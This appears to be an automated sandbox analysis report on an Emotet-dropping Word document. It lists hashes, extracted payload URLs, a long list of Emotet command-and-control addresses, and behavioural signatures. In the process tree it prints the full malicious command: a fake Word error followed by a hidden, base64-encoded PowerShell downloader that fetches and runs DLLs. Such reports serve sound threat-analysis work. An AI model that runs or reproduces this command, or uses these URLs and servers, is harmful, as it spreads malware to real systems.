Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
11-02-2021 19:59
Behavioral task
behavioral1
Sample
91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4.doc
Resource
win10v20201028
General
-
Target
91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4.doc
-
Size
168KB
-
MD5
d63f3d22f23e80f57e5832c274b03653
-
SHA1
3fc9783709279af2306bba8dd5b78dc59024a7a9
-
SHA256
91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4
-
SHA512
f6cb2ae2f9a364c93e77ef080cb2d0b3e48198d11ef22fed2cc8f2d5e9b3c72de52bcaa0f41fabcd23eca62e8f7580148e2439cbec0f32e8fbd85f2399823508
Malware Config
Extracted
http://dripsweet.com/wp-admin/gTiO/
http://jbsmediaventures.com/wp-content/V/
https://www.r3-tech.biz/wp-admin/VT/
http://yaginc.com/images/tk/
http://novo2.deussalveobrasil.com.br/tractor-parts-gh28c/9/
http://trekkingfestival.com/demo/C/
http://narmada.mykfn.com/app/DqKG1/
Extracted
emotet
Epoch2
69.38.130.14:80
195.159.28.230:8080
162.241.204.233:8080
115.21.224.117:80
78.189.148.42:80
181.165.68.127:80
78.188.225.105:80
161.0.153.60:80
89.106.251.163:80
172.125.40.123:80
5.39.91.110:7080
110.145.11.73:80
190.251.200.206:80
144.217.7.207:7080
75.109.111.18:80
75.177.207.146:80
139.59.60.244:8080
70.183.211.3:80
95.213.236.64:8080
61.19.246.238:443
174.118.202.24:443
71.72.196.159:80
138.68.87.218:443
24.164.79.147:8080
49.205.182.134:80
24.231.88.85:80
121.124.124.40:7080
95.9.5.93:80
118.83.154.64:443
78.24.219.147:8080
104.131.11.150:443
85.105.205.77:8080
108.53.88.101:443
187.161.206.24:80
203.153.216.189:7080
37.187.72.193:8080
185.94.252.104:443
157.245.99.39:8080
50.91.114.38:80
87.106.139.101:8080
74.128.121.17:80
62.75.141.82:80
37.139.21.175:8080
190.103.228.24:80
134.209.144.106:443
78.182.254.231:80
186.74.215.34:80
180.222.161.85:80
69.49.88.46:80
202.134.4.211:8080
75.113.193.72:80
139.162.60.124:8080
79.137.83.50:443
123.176.25.234:80
172.105.13.66:443
93.146.48.84:80
109.116.245.80:80
41.185.28.84:8080
98.109.133.80:80
194.190.67.75:80
110.145.101.66:443
136.244.110.184:8080
24.179.13.119:80
89.216.122.92:80
139.99.158.11:443
172.86.188.251:8080
74.40.205.197:443
62.171.142.179:8080
167.114.153.111:8080
119.59.116.21:8080
74.58.215.226:80
188.165.214.98:8080
172.104.97.173:8080
197.211.245.21:80
66.57.108.14:443
188.219.31.12:80
168.235.67.138:7080
24.69.65.8:8080
173.70.61.180:80
110.142.236.207:80
51.89.36.180:443
46.105.131.79:8080
194.4.58.192:7080
220.245.198.194:80
109.74.5.95:8080
24.178.90.49:80
181.171.209.241:443
59.21.235.119:80
94.23.237.171:443
12.175.220.98:80
217.20.166.178:7080
50.116.111.59:8080
176.111.60.55:8080
200.116.145.225:443
120.150.60.189:80
185.201.9.197:8080
202.134.4.216:8080
120.150.218.241:443
2.58.16.89:8080
70.92.118.112:80
74.208.45.104:8080
79.130.130.240:8080
190.240.194.77:443
85.105.111.166:80
115.94.207.99:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1532 800 cmd.exe -
Blocklisted process makes network request 9 IoCs
Processes:
powershell.exerundll32.exeflow pid process 7 1608 powershell.exe 9 1608 powershell.exe 12 1608 powershell.exe 14 1608 powershell.exe 16 1608 powershell.exe 18 1352 rundll32.exe 21 1352 rundll32.exe 22 1352 rundll32.exe 25 1352 rundll32.exe -
Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 748 rundll32.exe 748 rundll32.exe 748 rundll32.exe 748 rundll32.exe 1588 rundll32.exe 1588 rundll32.exe 1588 rundll32.exe 1588 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Nknmczneyf\mkmgqvccs.dkh rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exerundll32.exepid process 1608 powershell.exe 1608 powershell.exe 1352 rundll32.exe 1352 rundll32.exe 1352 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1608 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE 1596 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1532 wrote to memory of 1612 1532 cmd.exe msg.exe PID 1532 wrote to memory of 1612 1532 cmd.exe msg.exe PID 1532 wrote to memory of 1612 1532 cmd.exe msg.exe PID 1532 wrote to memory of 1608 1532 cmd.exe powershell.exe PID 1532 wrote to memory of 1608 1532 cmd.exe powershell.exe PID 1532 wrote to memory of 1608 1532 cmd.exe powershell.exe PID 1608 wrote to memory of 1524 1608 powershell.exe rundll32.exe PID 1608 wrote to memory of 1524 1608 powershell.exe rundll32.exe PID 1608 wrote to memory of 1524 1608 powershell.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 748 1524 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1588 748 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1588 wrote to memory of 1820 1588 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe PID 1820 wrote to memory of 1352 1820 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\91838d966b87d7050c800b95ea4cffdeb6104358403b294e5da10f87540f99c4.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAVAAgACgAIgA4AHoAdwAiACsAIgBIACIAKQAgACgAIAAgAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADMAfQB7ADUAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAE8AcgB5ACcALAAnAEUAYwB0ACcALAAnAFMAeQBTAHQAZQAnACwAJwBvAC4AZAAnACwAJwBtAC4AaQAnACwAJwBJAFIAJwApACAAIAApACAAOwBzAGUAVAAgACAAKAAnAEQAQwAnACsAJwB1AFIAJwApACAAIAAoACAAIABbAHQAeQBwAGUAXQAoACIAewAwAH0AewA4AH0AewA0AH0AewA5AH0AewAyAH0AewAxAH0AewAzAH0AewA2AH0AewA1AH0AewA3AH0AIgAgAC0ARgAgACcAUwB5AHMAJwAsACcARQBSACcALAAnAFMAJwAsACcAdgAnACwAJwAuAE4ARQBUACcALAAnAG8AaQBuAFQAbQBhACcALAAnAGkAYwBFAFAAJwAsACcATgBBAGcAZQByACcALAAnAHQARQBNACcALAAnAC4AJwApACAAKQAgADsAJABUAHQAZQAyAGEAdAAxAD0AJABLADYAMgBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABTADcAMABNADsAJABJADQAXwBKAD0AKAAnAFUAMAAnACsAJwA2AEkAJwApADsAIAAoACAAZwBlAHQALQB2AGEAUgBpAEEAQgBsAEUAIAAoACIAOABaAHcAIgArACIASAAiACkAIAAtAHYAQQBsAHUAZQBvAG4AbAAgACkAOgA6ACIAQwByAEUAQQBgAFQAZQBgAGQASQBSAGAAZQBjAFQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAZwA3AGkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqADkAJwArACcAdwAnACkAKwAoACcAXwAnACsAJwBsAGcAJwArACcANwBpAFkAcwAxAHcAJwArACcAdQAnACkAKwAoACcAbgA1ACcAKwAnAGcANwBpACcAKQApACAAIAAtAEMAcgBFAFAATABhAEMARQAoAFsAQwBIAGEAUgBdADEAMAAzACsAWwBDAEgAYQBSAF0ANQA1ACsAWwBDAEgAYQBSAF0AMQAwADUAKQAsAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEUAOAA2AFAAPQAoACcAVwAyACcAKwAnADIAVQAnACkAOwAgACAAKAAgACAASQB0AGUAbQAgACgAIgBWACIAKwAiAGEAUgBJAEEAQgBMACIAKwAiAGUAOgBEAEMAVQBSACIAKQAgACAAKQAuAFYAQQBsAHUARQA6ADoAIgBzAGUAYwB1AFIAYABJAFQAWQBQAFIAbwBgAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABFADUAOABDAD0AKAAoACcATQAnACsAJwA1ADAAJwApACsAJwBWACcAKQA7ACQASQB2AGYAdAB5AHAAdwAgAD0AIAAoACgAJwBJADQAJwArACcANQAnACkAKwAnAFEAJwApADsAJABaADAANwBJAD0AKAAoACcAVAAxACcAKwAnADEAJwApACsAJwBDACcAKQA7ACQASwBwAHoAZAA3AGMAZQA9ACQASABPAE0ARQArACgAKAAoACcAMQAwADkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqACcAKwAnADkAdwAnACkAKwAoACcAXwBsADEAMAA5AFkAcwAnACsAJwAxACcAKwAnAHcAJwApACsAJwB1AG4AJwArACcANQAxACcAKwAnADAAOQAnACkALgAiAHIARQBwAGAAbABhAEMARQAiACgAKABbAGMASABhAHIAXQA0ADkAKwBbAGMASABhAHIAXQA0ADgAKwBbAGMASABhAHIAXQA1ADcAKQAsAFsAUwBUAFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABJAHYAZgB0AHkAcAB3ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABTADEANwBCAD0AKAAnAE8AJwArACgAJwA1ADIAJwArACcARAAnACkAKQA7ACQATwBjAHkAZQB4AHMAMAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFcAYwB5AGIAZwAxADcAPQAoACcAeAAnACsAJwAgAFsAJwArACgAJwAgACcAKwAnAHMAaAAnACkAKwAoACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBkAHIAaQBwAHMAdwBlACcAKwAnAGUAdAAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZABtAGkAbgAvAGcAJwArACcAVABpAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACsAJwAgAHMAaAAgAGIAOgAnACsAJwAvAC8AagAnACkAKwAoACcAYgBzAG0AZQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAdgBlAG4AJwApACsAKAAnAHQAdQByACcAKwAnAGUAcwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAvAFYAJwArACcALwAhAHgAJwArACcAIABbACcAKQArACcAIABzACcAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAHIAJwArACcAMwAtAHQAJwApACsAKAAnAGUAYwAnACsAJwBoACcAKQArACcALgBiACcAKwAoACcAaQB6ACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACsAJwBWAFQALwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACkAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgA6AC8ALwB5AGEAJwArACcAZwBpACcAKQArACgAJwBuACcAKwAnAGMAJwArACcALgBjAG8AbQAvAGkAbQBhAGcAZQBzACcAKwAnAC8AdABrAC8AIQAnACsAJwB4ACAAWwAgACcAKQArACgAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAoACcALwBuAG8AdgAnACsAJwBvADIAJwArACcALgAnACkAKwAoACcAZABlACcAKwAnAHUAcwAnACsAJwBzAGEAbAB2ACcAKwAnAGUAbwBiAHIAYQBzAGkAJwApACsAKAAnAGwALgBjAG8AJwArACcAbQAnACkAKwAnAC4AYgAnACsAJwByACcAKwAoACcALwB0AHIAYQAnACsAJwBjAHQAbwAnACkAKwAnAHIALQAnACsAJwBwACcAKwAoACcAYQAnACsAJwByAHQAJwApACsAJwBzAC0AJwArACcAZwBoACcAKwAoACcAMgAnACsAJwA4AGMALwA5AC8AIQAnACkAKwAoACcAeAAgAFsAIAAnACsAJwBzACcAKQArACgAJwBoACAAJwArACcAYgA6AC8AJwApACsAKAAnAC8AdAByAGUAawBrACcAKwAnAGkAbgAnACkAKwAoACcAZwBmAGUAcwB0ACcAKwAnAGkAdgAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwBkACcAKwAnAGUAbQAnACsAJwBvAC8AJwArACcAQwAvACEAeAAgAFsAIABzACcAKQArACgAJwBoACAAYgA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAbgBhAHIAJwArACcAbQAnACkAKwAoACcAYQAnACsAJwBkAGEAJwArACcALgBtAHkAawBmACcAKQArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AYQBwAHAALwAnACsAJwBEAHEASwAnACsAJwBHADEALwAnACkAKQAuACIAcgBlAGAAcABsAGAAQQBDAGUAIgAoACgAKAAnAHgAIAAnACsAJwBbACcAKQArACgAJwAgACcAKwAnAHMAaAAnACkAKwAnACAAYgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE8AYwB5AGUAeABzADAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAHQAIgAoACQAWQA3ADAAQQAgACsAIAAkAFQAdABlADIAYQB0ADEAIAArACAAJABLADEAOABWACkAOwAkAFYAMwAwAFkAPQAoACcAQQA3ACcAKwAnADkAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAYQB3ADEAOABxADUAIABpAG4AIAAkAFcAYwB5AGIAZwAxADcAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAFMAWQBzAFQARQBNAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBlAE4AVAApAC4AIgBkAE8AdwBgAE4ATABgAE8AYQBEAEYAaQBgAGwARQAiACgAJABMAGEAdwAxADgAcQA1ACwAIAAkAEsAcAB6AGQANwBjAGUAKQA7ACQARAA1ADcARwA9ACgAJwBLADAAJwArACcAOQBYACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABLAHAAegBkADcAYwBlACkALgAiAGwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADgAOAAzADEAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAJwArACcAMwAyACcAKQAgACQASwBwAHoAZAA3AGMAZQAsACgAKAAnAEEAbgAnACsAJwB5AFMAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACcAbgBnACcAKQAuACIAdABPAGAAcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQARwA0ADAAUwA9ACgAKAAnAFkANwAnACsAJwA4ACcAKQArACcATwAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMwA4AEEAPQAoACcARwA3ACcAKwAnADQAWAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANAA3AFEAPQAoACgAJwBaADgAJwArACcANQAnACkAKwAnAEgAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAEUAVAAgACgAIgA4AHoAdwAiACsAIgBIACIAKQAgACgAIAAgAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADMAfQB7ADUAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAE8AcgB5ACcALAAnAEUAYwB0ACcALAAnAFMAeQBTAHQAZQAnACwAJwBvAC4AZAAnACwAJwBtAC4AaQAnACwAJwBJAFIAJwApACAAIAApACAAOwBzAGUAVAAgACAAKAAnAEQAQwAnACsAJwB1AFIAJwApACAAIAAoACAAIABbAHQAeQBwAGUAXQAoACIAewAwAH0AewA4AH0AewA0AH0AewA5AH0AewAyAH0AewAxAH0AewAzAH0AewA2AH0AewA1AH0AewA3AH0AIgAgAC0ARgAgACcAUwB5AHMAJwAsACcARQBSACcALAAnAFMAJwAsACcAdgAnACwAJwAuAE4ARQBUACcALAAnAG8AaQBuAFQAbQBhACcALAAnAGkAYwBFAFAAJwAsACcATgBBAGcAZQByACcALAAnAHQARQBNACcALAAnAC4AJwApACAAKQAgADsAJABUAHQAZQAyAGEAdAAxAD0AJABLADYAMgBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABTADcAMABNADsAJABJADQAXwBKAD0AKAAnAFUAMAAnACsAJwA2AEkAJwApADsAIAAoACAAZwBlAHQALQB2AGEAUgBpAEEAQgBsAEUAIAAoACIAOABaAHcAIgArACIASAAiACkAIAAtAHYAQQBsAHUAZQBvAG4AbAAgACkAOgA6ACIAQwByAEUAQQBgAFQAZQBgAGQASQBSAGAAZQBjAFQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAZwA3AGkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqADkAJwArACcAdwAnACkAKwAoACcAXwAnACsAJwBsAGcAJwArACcANwBpAFkAcwAxAHcAJwArACcAdQAnACkAKwAoACcAbgA1ACcAKwAnAGcANwBpACcAKQApACAAIAAtAEMAcgBFAFAATABhAEMARQAoAFsAQwBIAGEAUgBdADEAMAAzACsAWwBDAEgAYQBSAF0ANQA1ACsAWwBDAEgAYQBSAF0AMQAwADUAKQAsAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEUAOAA2AFAAPQAoACcAVwAyACcAKwAnADIAVQAnACkAOwAgACAAKAAgACAASQB0AGUAbQAgACgAIgBWACIAKwAiAGEAUgBJAEEAQgBMACIAKwAiAGUAOgBEAEMAVQBSACIAKQAgACAAKQAuAFYAQQBsAHUARQA6ADoAIgBzAGUAYwB1AFIAYABJAFQAWQBQAFIAbwBgAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABFADUAOABDAD0AKAAoACcATQAnACsAJwA1ADAAJwApACsAJwBWACcAKQA7ACQASQB2AGYAdAB5AHAAdwAgAD0AIAAoACgAJwBJADQAJwArACcANQAnACkAKwAnAFEAJwApADsAJABaADAANwBJAD0AKAAoACcAVAAxACcAKwAnADEAJwApACsAJwBDACcAKQA7ACQASwBwAHoAZAA3AGMAZQA9ACQASABPAE0ARQArACgAKAAoACcAMQAwADkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqACcAKwAnADkAdwAnACkAKwAoACcAXwBsADEAMAA5AFkAcwAnACsAJwAxACcAKwAnAHcAJwApACsAJwB1AG4AJwArACcANQAxACcAKwAnADAAOQAnACkALgAiAHIARQBwAGAAbABhAEMARQAiACgAKABbAGMASABhAHIAXQA0ADkAKwBbAGMASABhAHIAXQA0ADgAKwBbAGMASABhAHIAXQA1ADcAKQAsAFsAUwBUAFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABJAHYAZgB0AHkAcAB3ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABTADEANwBCAD0AKAAnAE8AJwArACgAJwA1ADIAJwArACcARAAnACkAKQA7ACQATwBjAHkAZQB4AHMAMAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFcAYwB5AGIAZwAxADcAPQAoACcAeAAnACsAJwAgAFsAJwArACgAJwAgACcAKwAnAHMAaAAnACkAKwAoACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBkAHIAaQBwAHMAdwBlACcAKwAnAGUAdAAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZABtAGkAbgAvAGcAJwArACcAVABpAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACsAJwAgAHMAaAAgAGIAOgAnACsAJwAvAC8AagAnACkAKwAoACcAYgBzAG0AZQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAdgBlAG4AJwApACsAKAAnAHQAdQByACcAKwAnAGUAcwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAvAFYAJwArACcALwAhAHgAJwArACcAIABbACcAKQArACcAIABzACcAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAHIAJwArACcAMwAtAHQAJwApACsAKAAnAGUAYwAnACsAJwBoACcAKQArACcALgBiACcAKwAoACcAaQB6ACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACsAJwBWAFQALwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACkAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgA6AC8ALwB5AGEAJwArACcAZwBpACcAKQArACgAJwBuACcAKwAnAGMAJwArACcALgBjAG8AbQAvAGkAbQBhAGcAZQBzACcAKwAnAC8AdABrAC8AIQAnACsAJwB4ACAAWwAgACcAKQArACgAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAoACcALwBuAG8AdgAnACsAJwBvADIAJwArACcALgAnACkAKwAoACcAZABlACcAKwAnAHUAcwAnACsAJwBzAGEAbAB2ACcAKwAnAGUAbwBiAHIAYQBzAGkAJwApACsAKAAnAGwALgBjAG8AJwArACcAbQAnACkAKwAnAC4AYgAnACsAJwByACcAKwAoACcALwB0AHIAYQAnACsAJwBjAHQAbwAnACkAKwAnAHIALQAnACsAJwBwACcAKwAoACcAYQAnACsAJwByAHQAJwApACsAJwBzAC0AJwArACcAZwBoACcAKwAoACcAMgAnACsAJwA4AGMALwA5AC8AIQAnACkAKwAoACcAeAAgAFsAIAAnACsAJwBzACcAKQArACgAJwBoACAAJwArACcAYgA6AC8AJwApACsAKAAnAC8AdAByAGUAawBrACcAKwAnAGkAbgAnACkAKwAoACcAZwBmAGUAcwB0ACcAKwAnAGkAdgAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwBkACcAKwAnAGUAbQAnACsAJwBvAC8AJwArACcAQwAvACEAeAAgAFsAIABzACcAKQArACgAJwBoACAAYgA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAbgBhAHIAJwArACcAbQAnACkAKwAoACcAYQAnACsAJwBkAGEAJwArACcALgBtAHkAawBmACcAKQArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AYQBwAHAALwAnACsAJwBEAHEASwAnACsAJwBHADEALwAnACkAKQAuACIAcgBlAGAAcABsAGAAQQBDAGUAIgAoACgAKAAnAHgAIAAnACsAJwBbACcAKQArACgAJwAgACcAKwAnAHMAaAAnACkAKwAnACAAYgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE8AYwB5AGUAeABzADAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAHQAIgAoACQAWQA3ADAAQQAgACsAIAAkAFQAdABlADIAYQB0ADEAIAArACAAJABLADEAOABWACkAOwAkAFYAMwAwAFkAPQAoACcAQQA3ACcAKwAnADkAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAYQB3ADEAOABxADUAIABpAG4AIAAkAFcAYwB5AGIAZwAxADcAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAFMAWQBzAFQARQBNAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBlAE4AVAApAC4AIgBkAE8AdwBgAE4ATABgAE8AYQBEAEYAaQBgAGwARQAiACgAJABMAGEAdwAxADgAcQA1ACwAIAAkAEsAcAB6AGQANwBjAGUAKQA7ACQARAA1ADcARwA9ACgAJwBLADAAJwArACcAOQBYACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABLAHAAegBkADcAYwBlACkALgAiAGwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADgAOAAzADEAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAJwArACcAMwAyACcAKQAgACQASwBwAHoAZAA3AGMAZQAsACgAKAAnAEEAbgAnACsAJwB5AFMAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACcAbgBnACcAKQAuACIAdABPAGAAcwBgAFQAUgBJAG4AZwAiA